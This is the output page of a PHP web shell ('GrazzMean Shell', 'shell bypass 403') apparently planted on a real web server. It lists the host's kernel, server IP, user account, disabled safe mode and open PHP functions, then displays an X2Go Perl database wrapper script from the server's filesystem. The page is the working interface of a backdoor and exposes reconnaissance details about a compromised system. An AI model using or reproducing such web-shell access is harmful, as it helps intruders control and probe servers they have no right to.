shell bypass 403

GrazzMean Shell

: /lib64/x2go/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 3.144.106.100
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : libx2go-server-db-sqlite3-wrapper.pl
#!/usr/bin/perl -XU

# Copyright (C) 2007-2018 X2Go Project - https://wiki.x2go.org
# Copyright (C) 2007-2018 Oleksandr Shneyder <o.shneyder@phoca-gmbh.de>
# Copyright (C) 2007-2018 Heinz-Markus Graesing <heinz-m.graesing@obviously-nice.de>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the
# Free Software Foundation, Inc.,
# 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.

use strict;
use Switch;

use X2Go::Server::DB::SQLite3;

#### NOTE: this script is run setgid <group> and it cannot do system() calls.

sub print_result
{
	my $retval = shift;
	if ( $retval =~ /^(0|1)$/ )
	{
		if ( $retval )
		{
			print "ok";
		}
	} else {
		print $retval;
	}
}

sub print_result_list
{
	my @list = @_;
	print join("\n", @list);
}

my $result;
my @result_list;
my $cmd=shift or die "command not specified";

# call the corresponding function in the X2Go::Server:DB:SQLite3 package
switch ($cmd)
{
	case /.*listsessions.*root/              { @result_list = eval("X2Go::Server::DB::SQLite3::dbsys_$cmd(\@ARGV)") }
	case /.*(list.*sessions|getmounts).*/    { @result_list = eval("X2Go::Server::DB::SQLite3::db_$cmd(\@ARGV)") }
	case /.*(root|deletemounts)/             { $result = eval("X2Go::Server::DB::SQLite3::dbsys_$cmd(\@ARGV)") }
	else                                     { $result = eval("X2Go::Server::DB::SQLite3::db_$cmd(\@ARGV)") }
}

if (@result_list)
{
	print_result_list(@result_list);
}
elsif ( defined($result) )
{
	print_result($result);
}

exit (0);
© 2025 GrazzMean